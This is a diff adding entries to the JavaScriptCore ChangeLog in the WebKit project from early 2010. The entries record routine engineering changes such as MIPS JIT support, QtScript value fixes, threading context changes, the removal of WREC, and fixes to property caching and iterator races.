+        put_by_id does will incorrectly cache writes where a specific value exists, where at the point of caching the same value is being written.
+        https://bugs.webkit.org/show_bug.cgi?id=35537
+
+        * runtime/JSObject.h:
+        (JSC::JSObject::putDirectInternal):
+
+2010-03-04  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Make the OUTPUT_DIR variable in qmake projects independent of build-webkit's logic.
+
+        This also allows shadow builds relying only on qmake to work properly.
+        * jsc.pro:
+        * qt/api/QtScript.pro:
+        * qt/tests/qscriptengine/qscriptengine.pro:
+        * qt/tests/qscriptvalue/qscriptvalue.pro:
+        * qt/tests/tests.pri:
+
+2010-03-03  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        QScriptValue::isObject fix.
+
+        Fix broken internal state evaluation from JSValue to JSNative / JSObject.
+        New function was introduced which should take care about promoting
+        JSValue state inside QScriptValuePrivate. It should be used instead of a
+        direct JSC C API call.
+
+        The bug exposed a weakness in autotest suite, as the QScriptValuePrivate
+        is based on state machine with lazy state evaluation, there is a possibility
+        that serial sequencial calls to the same public const function could return
+        different results. The patch fix the issue.
+
+        [Qt] Sometimes QScriptValue::isObject returns an incorrect value
+        https://bugs.webkit.org/show_bug.cgi?id=35387
+
+        * qt/api/qscriptvalue_p.h:
+        (QScriptValuePrivate::isBool):
+        (QScriptValuePrivate::isNumber):
+        (QScriptValuePrivate::isNull):
+        (QScriptValuePrivate::isString):
+        (QScriptValuePrivate::isUndefined):
+        (QScriptValuePrivate::isError):
+        (QScriptValuePrivate::isObject):
+        (QScriptValuePrivate::isFunction):
+        (QScriptValuePrivate::call):
+        (QScriptValuePrivate::refineJSValue):
+        * qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp:
+        (tst_QScriptValue::initScriptValues):
+        (tst_QScriptValue::isValid_makeData):
+        (tst_QScriptValue::isValid_test):
+        (tst_QScriptValue::isBool_makeData):
+        (tst_QScriptValue::isBool_test):
+        (tst_QScriptValue::isBoolean_makeData):
+        (tst_QScriptValue::isBoolean_test):
+        (tst_QScriptValue::isNumber_makeData):
+        (tst_QScriptValue::isNumber_test):
+        (tst_QScriptValue::isFunction_test):
+        (tst_QScriptValue::isNull_makeData):
+        (tst_QScriptValue::isNull_test):
+        (tst_QScriptValue::isString_makeData):
+        (tst_QScriptValue::isString_test):
+        (tst_QScriptValue::isUndefined_makeData):
+        (tst_QScriptValue::isUndefined_test):
+        (tst_QScriptValue::isObject_makeData):
+        (tst_QScriptValue::isObject_test):
+        (tst_QScriptValue::toString_makeData):
+        (tst_QScriptValue::toString_test):
+        (tst_QScriptValue::toNumber_makeData):
+        (tst_QScriptValue::toNumber_test):
+        (tst_QScriptValue::toBool_makeData):
+        (tst_QScriptValue::toBool_test):
+        (tst_QScriptValue::toBoolean_makeData):
+        (tst_QScriptValue::toBoolean_test):
+        (tst_QScriptValue::toInteger_makeData):
+        (tst_QScriptValue::toInteger_test):
+        (tst_QScriptValue::toInt32_makeData):
+        (tst_QScriptValue::toInt32_test):
+        (tst_QScriptValue::toUInt32_makeData):
+        (tst_QScriptValue::toUInt32_test):
+        (tst_QScriptValue::toUInt16_makeData):
+        (tst_QScriptValue::toUInt16_test):
+
+2010-03-03  Chao-ying Fu  <fu@mips.com>
+
+        Reviewed by Gavin Barraclough.
+
+        MIPS JIT Supports
+        https://bugs.webkit.org/show_bug.cgi?id=30144
+
+        The following changes enable MIPS YARR and YARR_JIT.
+
+        * assembler/AbstractMacroAssembler.h:
+        (JSC::AbstractMacroAssembler::Imm32::Imm32):
+        * assembler/MIPSAssembler.h: Added.
+        (JSC::MIPSRegisters::):
+        (JSC::MIPSAssembler::MIPSAssembler):
+        (JSC::MIPSAssembler::):
+        (JSC::MIPSAssembler::JmpSrc::JmpSrc):
+        (JSC::MIPSAssembler::JmpDst::JmpDst):
+        (JSC::MIPSAssembler::JmpDst::isUsed):
+        (JSC::MIPSAssembler::JmpDst::used):
+        (JSC::MIPSAssembler::emitInst):
+        (JSC::MIPSAssembler::nop):
+        (JSC::MIPSAssembler::loadDelayNop):
+        (JSC::MIPSAssembler::copDelayNop):
+        (JSC::MIPSAssembler::move):
+        (JSC::MIPSAssembler::li):
+        (JSC::MIPSAssembler::lui):
+        (JSC::MIPSAssembler::addiu):
+        (JSC::MIPSAssembler::addu):
+        (JSC::MIPSAssembler::subu):
+        (JSC::MIPSAssembler::mult):
+        (JSC::MIPSAssembler::mfhi):
+        (JSC::MIPSAssembler::mflo):
+        (JSC::MIPSAssembler::mul):
+        (JSC::MIPSAssembler::andInsn):
+        (JSC::MIPSAssembler::andi):
+        (JSC::MIPSAssembler::nor):
+        (JSC::MIPSAssembler::orInsn):
+        (JSC::MIPSAssembler::ori):
+        (JSC::MIPSAssembler::xorInsn):
+        (JSC::MIPSAssembler::xori):
+        (JSC::MIPSAssembler::slt):
+        (JSC::MIPSAssembler::sltu):
+        (JSC::MIPSAssembler::sltiu):
+        (JSC::MIPSAssembler::sll):
+        (JSC::MIPSAssembler::sllv):
+        (JSC::MIPSAssembler::sra):
+        (JSC::MIPSAssembler::srav):
+        (JSC::MIPSAssembler::lw):
+        (JSC::MIPSAssembler::lwl):
+        (JSC::MIPSAssembler::lwr):
+        (JSC::MIPSAssembler::lhu):
+        (JSC::MIPSAssembler::sw):
+        (JSC::MIPSAssembler::jr):
+        (JSC::MIPSAssembler::jalr):
+        (JSC::MIPSAssembler::jal):
+        (JSC::MIPSAssembler::bkpt):
+        (JSC::MIPSAssembler::bgez):
+        (JSC::MIPSAssembler::bltz):
+        (JSC::MIPSAssembler::beq):
+        (JSC::MIPSAssembler::bne):
+        (JSC::MIPSAssembler::bc1t):
+        (JSC::MIPSAssembler::bc1f):
+        (JSC::MIPSAssembler::newJmpSrc):
+        (JSC::MIPSAssembler::appendJump):
+        (JSC::MIPSAssembler::addd):
+        (JSC::MIPSAssembler::subd):
+        (JSC::MIPSAssembler::muld):
+        (JSC::MIPSAssembler::lwc1):
+        (JSC::MIPSAssembler::ldc1):
+        (JSC::MIPSAssembler::swc1):
+        (JSC::MIPSAssembler::sdc1):
+        (JSC::MIPSAssembler::mtc1):
+        (JSC::MIPSAssembler::mfc1):
+        (JSC::MIPSAssembler::truncwd):
+        (JSC::MIPSAssembler::cvtdw):
+        (JSC::MIPSAssembler::ceqd):
+        (JSC::MIPSAssembler::cngtd):
+        (JSC::MIPSAssembler::cnged):
+        (JSC::MIPSAssembler::cltd):
+        (JSC::MIPSAssembler::cled):
+        (JSC::MIPSAssembler::cueqd):
+        (JSC::MIPSAssembler::coled):
+        (JSC::MIPSAssembler::coltd):
+        (JSC::MIPSAssembler::culed):
+        (JSC::MIPSAssembler::cultd):
+        (JSC::MIPSAssembler::label):
+        (JSC::MIPSAssembler::align):
+        (JSC::MIPSAssembler::getRelocatedAddress):
+        (JSC::MIPSAssembler::getDifferenceBetweenLabels):
+        (JSC::MIPSAssembler::size):
+        (JSC::MIPSAssembler::executableCopy):
+        (JSC::MIPSAssembler::getCallReturnOffset):
+        (JSC::MIPSAssembler::linkJump):
+        (JSC::MIPSAssembler::linkCall):
+        (JSC::MIPSAssembler::linkPointer):
+        (JSC::MIPSAssembler::relinkJump):
+        (JSC::MIPSAssembler::relinkCall):
+        (JSC::MIPSAssembler::repatchInt32):
+        (JSC::MIPSAssembler::repatchPointer):
+        (JSC::MIPSAssembler::repatchLoadPtrToLEA):
+        (JSC::MIPSAssembler::relocateJumps):
+        (JSC::MIPSAssembler::linkWithOffset):
+        (JSC::MIPSAssembler::linkCallInternal):
+        * assembler/MacroAssembler.h:
+        * assembler/MacroAssemblerMIPS.h: Added.
+        (JSC::MacroAssemblerMIPS::MacroAssemblerMIPS):
+        (JSC::MacroAssemblerMIPS::):
+        (JSC::MacroAssemblerMIPS::add32):
+        (JSC::MacroAssemblerMIPS::and32):
+        (JSC::MacroAssemblerMIPS::lshift32):
+        (JSC::MacroAssemblerMIPS::mul32):
+        (JSC::MacroAssemblerMIPS::not32):
+        (JSC::MacroAssemblerMIPS::or32):
+        (JSC::MacroAssemblerMIPS::rshift32):
+        (JSC::MacroAssemblerMIPS::sub32):
+        (JSC::MacroAssemblerMIPS::xor32):
+        (JSC::MacroAssemblerMIPS::load32):
+        (JSC::MacroAssemblerMIPS::load32WithUnalignedHalfWords):
+        (JSC::MacroAssemblerMIPS::load32WithAddressOffsetPatch):
+        (JSC::MacroAssemblerMIPS::loadPtrWithPatchToLEA):
+        (JSC::MacroAssemblerMIPS::loadPtrWithAddressOffsetPatch):
+        (JSC::MacroAssemblerMIPS::load16):
+        (JSC::MacroAssemblerMIPS::store32WithAddressOffsetPatch):
+        (JSC::MacroAssemblerMIPS::store32):
+        (JSC::MacroAssemblerMIPS::supportsFloatingPoint):
+        (JSC::MacroAssemblerMIPS::supportsFloatingPointTruncate):
+        (JSC::MacroAssemblerMIPS::pop):
+        (JSC::MacroAssemblerMIPS::push):
+        (JSC::MacroAssemblerMIPS::move):
+        (JSC::MacroAssemblerMIPS::swap):
+        (JSC::MacroAssemblerMIPS::signExtend32ToPtr):
+        (JSC::MacroAssemblerMIPS::zeroExtend32ToPtr):
+        (JSC::MacroAssemblerMIPS::branch32):
+        (JSC::MacroAssemblerMIPS::branch32WithUnalignedHalfWords):
+        (JSC::MacroAssemblerMIPS::branch16):
+        (JSC::MacroAssemblerMIPS::branchTest32):
+        (JSC::MacroAssemblerMIPS::jump):
+        (JSC::MacroAssemblerMIPS::branchAdd32):
+        (JSC::MacroAssemblerMIPS::branchMul32):
+        (JSC::MacroAssemblerMIPS::branchSub32):
+        (JSC::MacroAssemblerMIPS::breakpoint):
+        (JSC::MacroAssemblerMIPS::nearCall):
+        (JSC::MacroAssemblerMIPS::call):
+        (JSC::MacroAssemblerMIPS::ret):
+        (JSC::MacroAssemblerMIPS::set32):
+        (JSC::MacroAssemblerMIPS::setTest32):
+        (JSC::MacroAssemblerMIPS::moveWithPatch):
+        (JSC::MacroAssemblerMIPS::branchPtrWithPatch):
+        (JSC::MacroAssemblerMIPS::storePtrWithPatch):
+        (JSC::MacroAssemblerMIPS::tailRecursiveCall):
+        (JSC::MacroAssemblerMIPS::makeTailRecursiveCall):
+        (JSC::MacroAssemblerMIPS::loadDouble):
+        (JSC::MacroAssemblerMIPS::storeDouble):
+        (JSC::MacroAssemblerMIPS::addDouble):
+        (JSC::MacroAssemblerMIPS::subDouble):
+        (JSC::MacroAssemblerMIPS::mulDouble):
+        (JSC::MacroAssemblerMIPS::convertInt32ToDouble):
+        (JSC::MacroAssemblerMIPS::insertRelaxationWords):
+        (JSC::MacroAssemblerMIPS::branchTrue):
+        (JSC::MacroAssemblerMIPS::branchFalse):
+        (JSC::MacroAssemblerMIPS::branchEqual):
+        (JSC::MacroAssemblerMIPS::branchNotEqual):
+        (JSC::MacroAssemblerMIPS::branchDouble):
+        (JSC::MacroAssemblerMIPS::branchTruncateDoubleToInt32):
+        (JSC::MacroAssemblerMIPS::linkCall):
+        (JSC::MacroAssemblerMIPS::repatchCall):
+        * jit/ExecutableAllocator.h:
+        (JSC::ExecutableAllocator::cacheFlush):
+        * wtf/Platform.h:
+        * yarr/RegexJIT.cpp:
+        (JSC::Yarr::RegexGenerator::generateEnter):
+        (JSC::Yarr::RegexGenerator::generateReturn):
+
+2010-03-03  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows build fix.
+
+        * JavaScriptCore.vcproj/jsc/jsc.vcproj:
+        * JavaScriptCore.vcproj/jsc/jscCommon.vsprops:
+
+2010-03-03  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows build fix.
+
+        * JavaScriptCore.vcproj/jsc/jsc.vcproj:
+
+2010-03-03  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Add virtual memory tags for TCMalloc and WebCore's purgeable buffers.
+
+        * wtf/TCSystemAlloc.cpp:
+        (TryMmap): Use the VM tag.
+        * wtf/VMTags.h: Make use of VM_MEMORY_TCMALLOC and VM_MEMORY_WEBCORE_PURGEABLE_BUFFERS.
+
+2010-03-03  Steve Falkenburg  <sfalken@apple.com>
+
+        Rubber stamped by Adam Roben.
+
+        Fix bogus xcopy that was polluting source tree at build time.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCoreCommon.vsprops:
+
+2010-03-02  Fridrich Strba  <fridrich.strba@bluewin.ch>
+
+        Reviewed by Oliver Hunt.
+
+        Allow building smoothly on win32 and win64 using GCC
+        https://bugs.webkit.org/show_bug.cgi?id=35607
+
+        * jit/JITStubs.h:
+        * runtime/Collector.cpp:
+        (JSC::Heap::allocateBlock):
+        (JSC::Heap::freeBlockPtr):
+        (JSC::currentThreadStackBase):
+
+2010-03-02  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by David Levin.
+
+        Revert database thread changes that are no longer required
+        https://bugs.webkit.org/show_bug.cgi?id=35519
+
+        Jochen Eisinger created 55214 and 55247 to track which database
+        owns which thread.  Dmitry suggested that this could also
+        be done via TLS, though.  After exploring the options, Jochen
+        chose to go the TLS route, so these patches are no longer needed.
+
+        * wtf/Threading.h:
+        * wtf/ThreadingNone.cpp:
+        (WTF::isMainThread):
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::identifierByPthreadHandle):
+        (WTF::establishIdentifierForPthreadHandle):
+        (WTF::pthreadHandleForIdentifier):
+        (WTF::createThreadInternal):
+        (WTF::currentThread):
+        * wtf/ThreadingWin.cpp:
+        (WTF::threadMap):
+        (WTF::storeThreadHandleByIdentifier):
+        (WTF::threadHandleForIdentifier):
+        (WTF::createThreadInternal):
+
+2010-03-02  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix QScriptValue::toString().
+
+        More ECMA Script compliance, especially for values as NaN, Inifinite
+        and really big/small numbers.
+
+        [Qt] QScriptValue::toString() returns incorrect values
+        https://bugs.webkit.org/show_bug.cgi?id=34850
+
+        * qt/api/qscriptconverter_p.h:
+        (QScriptConverter::toString):
+        * qt/api/qscriptvalue_p.h:
+        (QScriptValuePrivate::toString):
+        * qt/tests/qscriptvalue/tst_qscriptvalue.cpp:
+        * qt/tests/qscriptvalue/tst_qscriptvalue.h:
+        * qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp:
+        (tst_QScriptValue::toString_initData):
+        (tst_QScriptValue::toString_makeData):
+        (tst_QScriptValue::toString_test):
+
+2010-03-02  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Introduce a new class; QScriptString.
+
+        The QScriptString class should act as a handle to "interned"
+        strings in a QScriptEngine.
+
+        [Qt] QtScript should provide QScriptString
+        https://bugs.webkit.org/show_bug.cgi?id=34843
+
+        * qt/api/QtScript.pro:
+        * qt/api/qscriptengine.cpp:
+        (QScriptEngine::toStringHandle):
+        * qt/api/qscriptengine.h:
+        * qt/api/qscriptengine_p.h:
+        (QScriptEnginePrivate::toStringHandle):
+        * qt/api/qscriptstring.cpp: Added.
+        (QScriptString::QScriptString):
+        (QScriptString::~QScriptString):
+        (QScriptString::operator=):
+        (QScriptString::isValid):
+        (QScriptString::operator==):
+        (QScriptString::operator!=):
+        (QScriptString::toArrayIndex):
+        (QScriptString::toString):
+        (QScriptString::operator QString):
+        (qHash):
+        * qt/api/qscriptstring.h: Added.
+        * qt/api/qscriptstring_p.h: Added.
+        (QScriptStringPrivate::QScriptStringPrivate):
+        (QScriptStringPrivate::~QScriptStringPrivate):
+        (QScriptStringPrivate::get):
+        (QScriptStringPrivate::isValid):
+        (QScriptStringPrivate::operator==):
+        (QScriptStringPrivate::operator!=):
+        (QScriptStringPrivate::toArrayIndex):
+        (QScriptStringPrivate::toString):
+        (QScriptStringPrivate::id):
+        * qt/tests/qscriptstring/qscriptstring.pro: Added.
+        * qt/tests/qscriptstring/tst_qscriptstring.cpp: Added.
+        (tst_QScriptString::tst_QScriptString):
+        (tst_QScriptString::~tst_QScriptString):
+        (tst_QScriptString::test):
+        (tst_QScriptString::hash):
+        (tst_QScriptString::toArrayIndex_data):
+        (tst_QScriptString::toArrayIndex):
+        * qt/tests/tests.pro:
+
+2010-03-02  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by NOBODY (Build fix).
+
+        Export function on windows.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-01  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Refactor named getter function signature to be in line with indexing getter signature
+        https://bugs.webkit.org/show_bug.cgi?id=35563
+
+        This removes the PropertySlot argument from getter functions, and makes them directly
+        pass the slot base.  This makes the semantics for the functions match that of the
+        indexing getters.
+
+        On the down side, this means that we can no longer simply use a proxy function for
+        JS getters, so we now add another marker value to indicate that a getter is present
+        and branch accordingly.
+
+        Against all rationality sunspider reports this as a perf win, but i suspect it's just noise.
+
+        * API/JSCallbackObject.h:
+        * API/JSCallbackObjectFunctions.h:
+        (JSC::::staticValueGetter):
+        (JSC::::staticFunctionGetter):
+        (JSC::::callbackGetter):
+        * JavaScriptCore.exp:
+        * runtime/JSActivation.cpp:
+        (JSC::JSActivation::argumentsGetter):
+        * runtime/JSActivation.h:
+        * runtime/JSFunction.cpp:
+        (JSC::JSFunction::argumentsGetter):
+        (JSC::JSFunction::callerGetter):
+        (JSC::JSFunction::lengthGetter):
+        * runtime/JSFunction.h:
+        * runtime/NumberConstructor.cpp:
+        (JSC::numberConstructorNaNValue):
+        (JSC::numberConstructorNegInfinity):
+        (JSC::numberConstructorPosInfinity):
+        (JSC::numberConstructorMaxValue):
+        (JSC::numberConstructorMinValue):
+        * runtime/PropertySlot.cpp:
+        (JSC::PropertySlot::functionGetter):
+        * runtime/PropertySlot.h:
+        (JSC::PropertySlot::getValue):
+        (JSC::PropertySlot::setGetterSlot):
+        (JSC::PropertySlot::setCacheableGetterSlot):
+        * runtime/RegExpConstructor.cpp:
+        (JSC::regExpConstructorDollar1):
+        (JSC::regExpConstructorDollar2):
+        (JSC::regExpConstructorDollar3):
+        (JSC::regExpConstructorDollar4):
+        (JSC::regExpConstructorDollar5):
+        (JSC::regExpConstructorDollar6):
+        (JSC::regExpConstructorDollar7):
+        (JSC::regExpConstructorDollar8):
+        (JSC::regExpConstructorDollar9):
+        (JSC::regExpConstructorInput):
+        (JSC::regExpConstructorMultiline):
+        (JSC::regExpConstructorLastMatch):
+        (JSC::regExpConstructorLastParen):
+        (JSC::regExpConstructorLeftContext):
+        (JSC::regExpConstructorRightContext):
+        * runtime/RegExpObject.cpp:
+        (JSC::regExpObjectGlobal):
+        (JSC::regExpObjectIgnoreCase):
+        (JSC::regExpObjectMultiline):
+        (JSC::regExpObjectSource):
+        (JSC::regExpObjectLastIndex):
+
+2010-03-01  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        PropertySlot::getValue(ExecState, unsigned) unnecessarily converts index to an Identifier
+        https://bugs.webkit.org/show_bug.cgi?id=35561
+
+        Fix this by defining a separate property getter function for index getters.  This allows
+        us to pass an unsigned number without the conversion to an Identifier.  We then update
+        setCustomIndex to take this new getter type.
+
+        * runtime/PropertySlot.h:
+        (JSC::PropertySlot::getValue):
+        (JSC::PropertySlot::setCustom):
+        (JSC::PropertySlot::setCustomIndex):
+
+2010-03-01  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Bug 35537 - put_by_id does will incorrectly cache writes where a specific value exists,
+                    where at the point of caching the same value is being written.
+
+        When performing a put_by_id that is replacing a property already present on the object,
+        there are three interesting cases regarding the state of the specific value:
+
+        (1) No specific value set - nothing to do, leave the structure in it's current state,
+            can cache.
+        (2) A specific value was set, the new put is not of a specified value (i.e. function),
+            or is of a different specific value - in these cases we need to perform a despecifying
+            transition to clear the specific value in the structure, but having done so this is a
+            normal property so as such we can again cache normally.
+        (3) A specific value was set, and we are overwriting with the same value - in these cases
+            leave the structure unchanged, but since a specific value is set we cannot cache this
+            put (we would need the JIT to dynamically check the value being written matched).
+
+        Unfortunately, the current behaviour does not match this.  the checks for a specific value
+        being present & the value matching are combined in such a way that in case (2), above we
+        will unnecessarily prevent the transition being cached, but in case (3) we will incorrectly
+        fail to prevent caching.
+
+        The bug exposes itself if multiple puts of the same specific value are performed to a
+        property, and erroneously the put is allowed to be cached by the JIT.  Method checks may be
+        generated caching calls of this structure.  Subsequent puts performed from JIT code may
+        write different values without triggering a despecify transition, and as such cached method
+        checks will continue to pass, despite the value having changed.
+
+        * runtime/JSObject.h:
+        (JSC::JSObject::putDirectInternal):
+
+2010-03-01  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix the Qt build on Mac OS X/Cocoa 64-bit
+
+        * JavaScriptCore.pri: Add missing implementation file to resolve JSC symbols
+
+2010-02-26  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber Stamped by Geoff Garen.
+
+        Remove wrec.  All builds should have switched to yarr by now.
+
+        * Android.mk:
+        * GNUmakefile.am:
+        * JavaScriptCore.gypi:
+        * JavaScriptCore.pri:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCoreCommon.vsprops:
+        * JavaScriptCore.vcproj/jsc/jscCommon.vsprops:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * runtime/RegExp.cpp:
+        (JSC::RegExp::match):
+        * runtime/RegExp.h:
+        * wrec: Removed.
+        * wrec/CharacterClass.cpp: Removed.
+        * wrec/CharacterClass.h: Removed.
+        * wrec/CharacterClassConstructor.cpp: Removed.
+        * wrec/CharacterClassConstructor.h: Removed.
+        * wrec/Escapes.h: Removed.
+        * wrec/Quantifier.h: Removed.
+        * wrec/WREC.cpp: Removed.
+        * wrec/WREC.h: Removed.
+        * wrec/WRECFunctors.cpp: Removed.
+        * wrec/WRECFunctors.h: Removed.
+        * wrec/WRECGenerator.cpp: Removed.
+        * wrec/WRECGenerator.h: Removed.
+        * wrec/WRECParser.cpp: Removed.
+        * wrec/WRECParser.h: Removed.
+        * wscript:
+
+2010-02-26  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Make the lookup table generator include an explicit cast to expected
+        type of the function.  We do this because otherwise the blind intptr_t
+        cast that is subsequently applied allows incorrectly typed functions
+        to be inserted into the table, where they will only fail at runtime.
+        This change makes such errors produce a compile time failure.
+
+        * create_hash_table:
+
+2010-02-26  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Symbian specific getCPUTime implemetation
+        https://bugs.webkit.org/show_bug.cgi?id=34742
+
+        Default implementation doesn't work on Symbian devices.
+        This change adds a proper implementation by
+        asking thread execution time from the current thread.
+
+        * runtime/TimeoutChecker.cpp:
+        (JSC::getCPUTime):
+
+2010-02-25  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=35406
+        <rdar://problem/6945502> Make generic array methods work with JavaArray
+
+        Renamed lazyCreationData to subclassData. This is extra data that can be used by JSArray
+        subclasses (you can't add new data members, because it wouldn't fit in JSCell otherwise).
+
+        * JavaScriptCore.exp:
+        * runtime/JSArray.cpp:
+        (JSC::JSArray::JSArray):
+        (JSC::JSArray::subclassData):
+        (JSC::JSArray::setSubclassData):
+        * runtime/JSArray.h:
+        * runtime/RegExpConstructor.cpp:
+        (JSC::RegExpMatchesArray::RegExpMatchesArray):
+        (JSC::RegExpMatchesArray::~RegExpMatchesArray):
+        (JSC::RegExpMatchesArray::fillArrayInstance):
+        * runtime/RegExpMatchesArray.h:
+        (JSC::RegExpMatchesArray::getOwnPropertySlot):
+        (JSC::RegExpMatchesArray::getOwnPropertyDescriptor):
+        (JSC::RegExpMatchesArray::put):
+        (JSC::RegExpMatchesArray::deleteProperty):
+        (JSC::RegExpMatchesArray::getOwnPropertyNames):
+
+2010-02-25  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        JSC crashes like crazy in the JSPropertyNameIterator destructor
+
+        Add back null check of m_cachedStructure.  Curse last minute changes.
+
+        * runtime/JSPropertyNameIterator.cpp:
+        (JSC::JSPropertyNameIterator::~JSPropertyNameIterator):
+
+2010-02-25  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Race condition in JSPropertyNameIterator and Structure destruction
+        https://bugs.webkit.org/show_bug.cgi?id=35398
+
+        JSPropertyNameIterator and Structure have a cyclic dependency that they
+        manage by clearing the appropriate reference in each other during their
+        destruction.  However if the Structure is destroyed while the 
+        JSPropertyNameIterator is dead but not yet finalized the Structures
+        WeakGCPtr will return null, and so prevent Structure from clearing
+        the m_cachedStructure pointer of the iterator.  When the iterator is
+        then finalised the m_cachedStructure is invalid, and the attempt to
+        clear the structures back reference fails.
+
+        To fix this we simply make JSPropertyNameIterator keep the Structure
+        alive, using the weak pointer to break the ref cycle.
+
+        * runtime/JSPropertyNameIterator.cpp:
+        (JSC::JSPropertyNameIterator::~JSPropertyNameIterator):
+          The iterator now keeps m_cachedStructure alive itself, so no longer needs
+          to check for it being cleared
+        * runtime/JSPropertyNameIterator.h:
+        (JSC::JSPropertyNameIterator::setCachedStructure):
+          Add an assertion to ensure correct usage
+        (JSC::JSPropertyNameIterator::cachedStructure):
+          Add .get()
+        * runtime/Structure.cpp:
+        (JSC::Structure::~Structure):
+          Add an assertion that our iterator isn't already dead, and remove
+          the now unnecessary attempt to clear the ref in the iterator
+        * runtime/WeakGCPtr.h:
+        (JSC::WeakGCPtr::hasDeadObject):
+          An assert-only function to allow us to assert correct behaviour
+          in the Structure destructor
+
+2010-02-25  Jochen Eisinger  <jochen@chromium.org>
+ 
+        Reviewed by Jeremy Orlow.
+ 
+        Make the context that was passed to the ThreadFunction accessible.
+        https://bugs.webkit.org/show_bug.cgi?id=35379
+
+        When a database is opened, right now you
+        don't have any context from where it is opened. The problem is that
+        the actual calls that open a database go through the sqlite3 vfs
+        layer, so there's no easy way to pass this function down to to
+        platform/sql/chromium/SQLFileSystemChromium*.cpp
+
+        This patch will allow you to get from anywhere within webkit a pointer
+        to the Thread object that actually created the thread you're currently
+        on (in case of the database, this can be either a thread forked of
+        from the main thread or from a worker thread), and query the object
+        for context information.
+
+        * wtf/Threading.h:
+        * wtf/ThreadingNone.cpp:
+        (WTF::threadContext):
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::):
+        (WTF::identifierByPthreadHandle):
+        (WTF::establishIdentifierForPthreadHandle):
+        (WTF::pthreadHandleForIdentifier):
+        (WTF::contextForIdentifier):
+        (WTF::createThreadInternal):
+        (WTF::currentThread):
+        (WTF::threadContext):
+        * wtf/ThreadingWin.cpp:
+        (WTF::):
+        (WTF::threadMap):
+        (WTF::storeThreadHandleByIdentifier):
+        (WTF::threadHandleForIdentifier):
+        (WTF::contextForIdentifier):
+        (WTF::createThreadInternal):
+        (WTF::threadContext):
+
+2010-02-25  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reverting to re-submit with better change log.
+
+        * wtf/Threading.h:
+        * wtf/ThreadingNone.cpp:
+        (WTF::isMainThread):
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::identifierByPthreadHandle):
+        (WTF::establishIdentifierForPthreadHandle):
+        (WTF::pthreadHandleForIdentifier):
+        (WTF::createThreadInternal):
+        (WTF::currentThread):
+        * wtf/ThreadingWin.cpp:
+        (WTF::threadMap):
+        (WTF::storeThreadHandleByIdentifier):
+        (WTF::threadHandleForIdentifier):
+        (WTF::createThreadInternal):
+
+2010-02-25  Jochen Eisinger  <jochen@chromium.org>
+
+        Reviewed by Jeremy Orlow.
+
+        Make the context that was passed to the ThreadFunction accessible.
+        https://bugs.webkit.org/show_bug.cgi?id=35379
+
+        * wtf/Threading.h:
+        * wtf/ThreadingNone.cpp:
+        (WTF::threadContext):
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::):
+        (WTF::identifierByPthreadHandle):
+        (WTF::establishIdentifierForPthreadHandle):
+        (WTF::pthreadHandleForIdentifier):
+        (WTF::contextForIdentifier):
+        (WTF::createThreadInternal):
+        (WTF::currentThread):
+        (WTF::threadContext):
+        * wtf/ThreadingWin.cpp:
+        (WTF::):
+        (WTF::threadMap):
+        (WTF::storeThreadHandleByIdentifier):
+        (WTF::threadHandleForIdentifier):
+        (WTF::contextForIdentifier):
+        (WTF::createThreadInternal):
+        (WTF::threadContext):
+
+2010-02-24  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        [REGRESSION in r55185] EXC_BAD_ACCESS on opening inspector.
+        https://bugs.webkit.org/show_bug.cgi?id=35335
+
+        compileGetDirectOffset modifies the contents of the object register
+        when the object is not using the inline storage array.  As the object
+        register contains our 'this' pointer we can't allow it to be clobbered.
+        The fix is simply to copy the register into a separate scratch register
+        when we're loading off an object that doesn't use inline storage.
+
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::privateCompileGetByIdSelfList):
+        * jit/JITPropertyAccess32_64.cpp:
+        (JSC::JIT::privateCompileGetByIdSelfList):
+
+2010-02-24  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Speed up getter performance in the jit
+        https://bugs.webkit.org/show_bug.cgi?id=35332
+
+        Implement getter lookup caching in the interpreter.
+        The getter stubs are generated through basically the
+        same code paths as the normal get_by_id caching.
+        Instead of simply loading a property and returning,
+        we load the getter slot, and pass the getter, base value
+        and return address to a shared stub used for getter
+        dispatch.
+
